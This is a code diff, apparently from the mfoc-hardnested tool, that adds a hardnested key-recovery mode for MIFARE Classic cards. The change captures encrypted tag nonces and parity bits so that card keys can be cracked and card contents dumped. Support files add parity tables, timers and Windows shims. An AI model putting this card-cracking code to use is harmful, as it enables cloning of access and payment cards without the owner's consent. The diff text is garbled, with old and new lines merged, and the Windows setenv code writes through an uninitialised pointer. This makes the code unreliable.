if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { uint16_t dump_size = (t.num_blocks + 1) * 16;
fprintf(stdout, "Error, cannot write dump\n"); if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) {
fprintf(stdout, "Error, cannot write dump\n");
fclose(pfDump);
goto error;
}
fclose(pfDump); fclose(pfDump);
goto error;
} }
fclose(pfDump);
} }
free(t.sectors); free(t.sectors);
@ -753,30 +816,26 @@ error:
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
void usage(FILE *stream, int errno) void usage(FILE *stream, uint8_t errnr)
{ {
fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n"); fprintf(stream, "Usage: mfoc-hardnested [-h] [-C] [-F] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n");
fprintf(stream, "\n"); fprintf(stream, "\n");
fprintf(stream, " h print this help and exit\n"); fprintf(stream, " h print this help and exit\n");
// fprintf(stream, " B instead of 'A' dump 'B' keys\n"); fprintf(stream, " C skip testing default keys\n");
fprintf(stream, " F force the hardnested keys extraction\n");
fprintf(stream, " k try the specified key in addition to the default keys\n"); fprintf(stream, " k try the specified key in addition to the default keys\n");
fprintf(stream, " f parses a file of keys to add in addition to the default keys \n"); fprintf(stream, " f parses a file of keys to add in addition to the default keys \n");
// fprintf(stream, " D number of distance probes, default is 20\n");
// fprintf(stream, " S number of sets with keystreams, default is 5\n");
fprintf(stream, " P number of probes per sector, instead of default of 20\n"); fprintf(stream, " P number of probes per sector, instead of default of 20\n");
fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); fprintf(stream, " O file in which the card contents will be written\n");
fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n");
fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n");
fprintf(stream, "\n"); fprintf(stream, "\n");
fprintf(stream, "Example: mfoc -O mycard.mfd\n"); fprintf(stream, "Example: mfoc-hardnested -O mycard.mfd\n");
fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); fprintf(stream, "Example: mfoc-hardnested -k ffffeeeedddd -O mycard.mfd\n");
fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n"); fprintf(stream, "Example: mfoc-hardnested -f keys.txt -O mycard.mfd\n");
fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); fprintf(stream, "Example: mfoc-hardnested -P 50 -T 30 -O mycard.mfd\n");
fprintf(stream, "\n"); fprintf(stream, "\n");
fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); fprintf(stream, "This is mfoc-hardnested version %s.\n", PACKAGE_VERSION);
fprintf(stream, "For more information, run: 'man mfoc'.\n"); exit(errnr);
exit(errno);
} }
void mf_init(mfreader *r) void mf_init(mfreader *r)
@ -858,8 +917,14 @@ int find_exploit_sector(mftag t)
fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
return -1; return -1;
} }
for (i = 0; i < t.num_sectors; i++) { for (i = t.num_sectors-1; i>=0;--i) {
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { if (t.sectors[i].foundKeyB) {
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
return i;
}
}
for (i = t.num_sectors-1; i>=0;--i) {
if (t.sectors[i].foundKeyA) {
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
return i; return i;
} }
@ -883,7 +948,6 @@ get_rats_is_2k(mftag t, mfreader r)
{ {
int res; int res;
uint8_t abtRx[MAX_FRAME_LEN]; uint8_t abtRx[MAX_FRAME_LEN];
int szRxBits;
uint8_t abtRats[2] = { 0xe0, 0x50}; uint8_t abtRats[2] = { 0xe0, 0x50};
// Use raw send/receive methods // Use raw send/receive methods
if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
@ -919,7 +983,7 @@ get_rats_is_2k(mftag t, mfreader r)
} }
} }
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits)
{ {
struct Crypto1State *pcs; struct Crypto1State *pcs;
struct Crypto1State *revstate; struct Crypto1State *revstate;
@ -933,6 +997,12 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
if (mode == 'h') {
memset(Auth, 0, 4);
memset(AuthEnc, 0, 4);
}
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
@ -943,11 +1013,14 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
int i; uint32_t m, i;
uint32_t m; uint8_t pbits = 0, p;
// Prepare AUTH command // Prepare AUTH command
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
if (mode == 'h') {
Auth[1] = sector_to_block(e_sector); //block
}
iso14443a_crc_append(Auth, 2); iso14443a_crc_append(Auth, 2);
// fprintf(stdout, "\nAuth command:\t"); // fprintf(stdout, "\nAuth command:\t");
// print_hex(Auth, 4); // print_hex(Auth, 4);
@ -1177,6 +1250,40 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
} }
} }
} }
if (mode == 'h') {
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
Auth[1] = a_sector * 4; //block
iso14443a_crc_append(Auth, 2);
// Encryption of the Auth command, sending the Auth command
for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs, 0, 0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
}
if ((( res = nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar)) < 0) || (res != 32)){
ERR("while requesting encrypted tag-nonce");
exit(EXIT_FAILURE);
}
// Save the encrypted nonce
NtEnc = bytes_to_num(Rx, 4);
for (i = 0; i < 4; i++) {
p = oddparity(Rx[i]);
if (RxPar[i] != oddparity(Rx[i])) {
p ^= 1;
}
pbits <<= 1;
pbits |= p;
}
*NtEncBytes = NtEnc;
*parBits = pbits;
}
crypto1_destroy(pcs); crypto1_destroy(pcs);
return 0; return 0;
} }

View File

@ -1,3 +1,8 @@
#ifndef MFOC_H__
#define MFOC_H__
#include <nfc/nfc-types.h>
#define MEM_CHUNK 10000 #define MEM_CHUNK 10000
#define TRY_KEYS 50 #define TRY_KEYS 50
@ -82,7 +87,11 @@ typedef struct {
} countKeys; } countKeys;
void usage(FILE *stream, int errno); mftag t;
mfreader r;
void usage(FILE *stream, uint8_t errnr);
void mf_init(mfreader *r); void mf_init(mfreader *r);
void mf_configure(nfc_device *pdi); void mf_configure(nfc_device *pdi);
void mf_select_tag(nfc_device *pdi, nfc_target *pnt); void mf_select_tag(nfc_device *pdi, nfc_target *pnt);
@ -90,7 +99,7 @@ int trailer_block(uint32_t block);
int find_exploit_sector(mftag t); int find_exploit_sector(mftag t);
void mf_anticollision(mftag t, mfreader r); void mf_anticollision(mftag t, mfreader r);
bool get_rats_is_2k(mftag t, mfreader r); bool get_rats_is_2k(mftag t, mfreader r);
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA); int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits);
uint32_t median(denonce d); uint32_t median(denonce d);
int compar_int(const void *a, const void *b); int compar_int(const void *a, const void *b);
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity); int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
@ -98,3 +107,6 @@ int compar_special_int(const void *a, const void *b);
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size); countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest); void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len); long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
#endif

View File

@ -44,6 +44,7 @@
# include <stdlib.h> # include <stdlib.h>
# include <string.h> # include <string.h>
# include <err.h> # include <err.h>
# include <nfc/nfc-types.h>
/** /**
* @macro DBG * @macro DBG

28
src/parity.c Normal file
View File

@ -0,0 +1,28 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// parity functions (all defined in parity.h)
//-----------------------------------------------------------------------------
#include <stdint.h>
const uint8_t OddByteParity[256] = {
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
};

32
src/parity.h Normal file
View File

@ -0,0 +1,32 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Parity functions
//-----------------------------------------------------------------------------
// all functions defined in header file by purpose. Allows compiler optimizations.
#ifndef __PARITY_H
#define __PARITY_H
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
extern const uint8_t OddByteParity[256];
static inline bool oddparity8(const uint8_t x) {
return OddByteParity[x];
}
static inline bool evenparity8(const uint8_t x) {
return !OddByteParity[x];
}
static inline bool evenparity32(uint32_t x) {
return __builtin_parity(x);
}
#endif /* __PARITY_H */

58
src/stdlib.c Normal file
View File

@ -0,0 +1,58 @@
/*-
* Free/Libre Near Field Communication (NFC) library
*
* Libnfc historical contributors:
* Copyright (C) 2009 Roel Verdult
* Copyright (C) 2009-2013 Romuald Conty
* Copyright (C) 2010-2012 Romain Tartière
* Copyright (C) 2010-2013 Philippe Teuwen
* Copyright (C) 2012-2013 Ludovic Rousseau
* See AUTHORS file for a more comprehensive list of contributors.
* Additional contributors of this file:
* Copyright (C) 2013 Alex Lian
*
* This program is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*
*/
/**
* @file stdlib.c
* @brief Windows System compatibility
*/
// Handle platform specific includes
#include <stdlib.h>
#include <windows.h>
//There is no setenv()and unsetenv() in windows,but we can use putenv() instead.
int setenv(const char *name, const char *value, int overwrite)
{
char *env = getenv(name);
if ((env && overwrite) || (!env)) {
char *str[32];
strcpy(*str, name);
strcat(*str, "=");
strcat(*str, value);
return _putenv(*str);
}
return -1;
}
void unsetenv(const char *name)
{
char *str[32];
strcpy(*str, name);
strcat(*str, "=");
_putenv(*str);
}

52
src/ui.c Normal file
View File

@ -0,0 +1,52 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2009 Michael Gernoth <michael at gernoth.net>
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// UI utilities
//-----------------------------------------------------------------------------
#include <stdbool.h>
#include <stdio.h>
#include <stdarg.h>
#include <pthread.h>
#include "ui.h"
bool lastnewl = true;
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
void PrintAndLog(bool newl, char *fmt, ...) {
va_list argptr, argptr2;
pthread_mutex_init(&print_lock, NULL);
// lock this section to avoid interlacing prints from different threads
pthread_mutex_lock(&print_lock);
if (newl) {
printf("\n");
} else {
if (lastnewl)
printf("\n");
printf("\r");
}
va_start(argptr, fmt);
va_copy(argptr2, argptr);
vprintf(fmt, argptr);
printf(" "); // cleaning prompt
va_end(argptr);
va_end(argptr2);
fflush(NULL);
lastnewl = newl;
//release lock
pthread_mutex_unlock(&print_lock);
}

19
src/ui.h Normal file
View File

@ -0,0 +1,19 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// UI utilities
//-----------------------------------------------------------------------------
#ifndef UI_H__
#define UI_H__
#include <stdbool.h>
#include <stdint.h>
void PrintAndLog(bool newl, char *fmt, ...);
#endif

39
src/unistd_w.h Normal file
View File

@ -0,0 +1,39 @@
/*-
* Free/Libre Near Field Communication (NFC) library
*
* Libnfc historical contributors:
* Copyright (C) 2009 Roel Verdult
* Copyright (C) 2009-2013 Romuald Conty
* Copyright (C) 2010-2012 Romain Tartière
* Copyright (C) 2010-2013 Philippe Teuwen
* Copyright (C) 2012-2013 Ludovic Rousseau
* See AUTHORS file for a more comprehensive list of contributors.
* Additional contributors of this file:
*
* This program is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/**
* @file unistd.h
* @brief This file intended to serve as a drop-in replacement for unistd.h on Windows
*/
#ifndef _UNISTD_H_
#define _UNISTD_H_
#include "windows.h"
#include "getopt.h"
#endif /* _UNISTD_H_ */

36
src/util.c Normal file
View File

@ -0,0 +1,36 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// utilities
//-----------------------------------------------------------------------------
#include "util.h"
#include <stdlib.h>
#include <stdio.h>
#ifdef _WIN32
#include <sysinfoapi.h>
#endif
#define MAX_BIN_BREAK_LENGTH (3072+384+1)
#ifndef _WIN32
#include <unistd.h>
#endif
// determine number of logical CPU cores (use for multithreaded functions)
extern int num_CPUs(void) {
#ifdef _WIN32
SYSTEM_INFO sysinfo;
GetSystemInfo(&sysinfo);
return sysinfo.dwNumberOfProcessors;
#else
return sysconf(_SC_NPROCESSORS_ONLN);
#endif
}

23
src/util.h Normal file
View File

@ -0,0 +1,23 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// utilities
//-----------------------------------------------------------------------------
#ifndef UTIL_H__
#define UTIL_H__
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
#define MAX(a, b) (((a) > (b)) ? (a) : (b))
extern int num_CPUs(void); // number of logical CPUs
#endif // UTIL_H__

125
src/util_posix.c Normal file
View File

@ -0,0 +1,125 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// utilities requiring Posix library functions
//-----------------------------------------------------------------------------
#if !defined(_WIN32)
#define _POSIX_C_SOURCE 199309L // need nanosleep()
#else
#include <windows.h>
#include <sys/types.h>
#include <sys/timeb.h>
#endif
#include "util_posix.h"
#include <stdint.h>
#include <time.h>
// Timer functions
#if !defined (_WIN32)
#include <errno.h>
static void nsleep(uint64_t n) {
struct timespec timeout;
timeout.tv_sec = n / 1000000000;
timeout.tv_nsec = n % 1000000000;
while (nanosleep(&timeout, &timeout) && errno == EINTR);
}
void msleep(uint32_t n) {
nsleep(1000000 * (uint64_t) n);
}
#endif // _WIN32
#ifdef __APPLE__
#ifndef CLOCK_MONOTONIC
#define CLOCK_MONOTONIC (1)
#endif
#ifndef CLOCK_REALTIME
#define CLOCK_REALTIME (2)
#endif
#include <sys/time.h>
#include <mach/clock.h>
#include <mach/mach.h>
#include <mach/mach_time.h>
/* clock_gettime is not implemented on OSX prior to 10.12 */
int _civet_clock_gettime(int clk_id, struct timespec *t);
int _civet_clock_gettime(int clk_id, struct timespec *t) {
memset(t, 0, sizeof (*t));
if (clk_id == CLOCK_REALTIME) {
struct timeval now;
int rv = gettimeofday(&now, NULL);
if (rv) {
return rv;
}
t->tv_sec = now.tv_sec;
t->tv_nsec = now.tv_usec * 1000;
return 0;
} else if (clk_id == CLOCK_MONOTONIC) {
static uint64_t clock_start_time = 0;
static mach_timebase_info_data_t timebase_info = {0, 0};
uint64_t now = mach_absolute_time();
if (clock_start_time == 0) {
mach_timebase_info(&timebase_info);
clock_start_time = now;
}
now = (uint64_t) ((double) (now - clock_start_time)
* (double) timebase_info.numer
/ (double) timebase_info.denom);
t->tv_sec = now / 1000000000;
t->tv_nsec = now % 1000000000;
return 0;
}
return -1; // EINVAL - Clock ID is unknown
}
/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */
#ifdef __CLOCK_AVAILABILITY
/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared
* but it may be NULL at runtime. So we need to check before using it. */
int _civet_safe_clock_gettime(int clk_id, struct timespec *t);
int _civet_safe_clock_gettime(int clk_id, struct timespec *t) {
if (clock_gettime) {
return clock_gettime(clk_id, t);
}
return _civet_clock_gettime(clk_id, t);
}
#define clock_gettime _civet_safe_clock_gettime
#else
#define clock_gettime _civet_clock_gettime
#endif
#endif
// a milliseconds timer for performance measurement
uint64_t msclock() {
#if defined(_WIN32)
struct _timeb t;
_ftime(&t);
return 1000 * (uint64_t) t.time + t.millitm;
#else
struct timespec t;
clock_gettime(CLOCK_MONOTONIC, &t);
return (t.tv_sec * 1000 + t.tv_nsec / 1000000);
#endif
}

26
src/util_posix.h Normal file
View File

@ -0,0 +1,26 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// utilities requiring Posix library functions
//-----------------------------------------------------------------------------
#ifndef UTIL_POSIX_H__
#define UTIL_POSIX_H__
#include <stdint.h>
#ifdef _WIN32
#include <windows.h>
#define sleep(n) Sleep(1000 *(n))
#define msleep(n) Sleep((n))
#else
extern void msleep(uint32_t n); // sleep n milliseconds
#endif // _WIN32
extern uint64_t msclock(); // a milliseconds clock
#endif

64
src/windows.h Normal file
View File

@ -0,0 +1,64 @@
/*-
* Free/Libre Near Field Communication (NFC) library
*
* Libnfc historical contributors:
* Copyright (C) 2009 Roel Verdult
* Copyright (C) 2009-2013 Romuald Conty
* Copyright (C) 2010-2012 Romain Tartière
* Copyright (C) 2010-2013 Philippe Teuwen
* Copyright (C) 2012-2013 Ludovic Rousseau
* See AUTHORS file for a more comprehensive list of contributors.
* Additional contributors of this file:
* Copyright (C) 2011 Glenn Ergeerts
*
* This program is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/**
* @file windows.h
* @brief Provide some windows related hacks due to lack of POSIX compat
*/
#ifndef __WINDOWS_H__
#define __WINDOWS_H__
# include <windows.h>
# include <winerror.h>
# include <err.h>
# if defined (__MINGW32__)
/*
* Cheating here on the snprintf to incorporate the format argument
* into the VA_ARGS. Else we get MinGW errors regarding number of arguments
* if doing a fixed string with no arguments.
*/
# define snprintf(S, n, ...) sprintf(S, __VA_ARGS__)
# define pipe(fds) _pipe(fds, 5000, _O_BINARY)
# define ETIMEDOUT WSAETIMEDOUT
# define ENOTSUP WSAEOPNOTSUPP
# define ECONNABORTED WSAECONNABORTED
# else
#if !defined(_MSC_VER) || (_MSC_VER < 1910) // VS2017 don't like snprintf macro
# define snprintf sprintf_s
#endif
# define strdup _strdup
# endif
/*
* setenv and unsetenv are not Windows compliant nor implemented in MinGW.
* These declarations get rid of the "implicit declaration warning."
*/
int setenv(const char *name, const char *value, int overwrite);
void unsetenv(const char *name);
#endif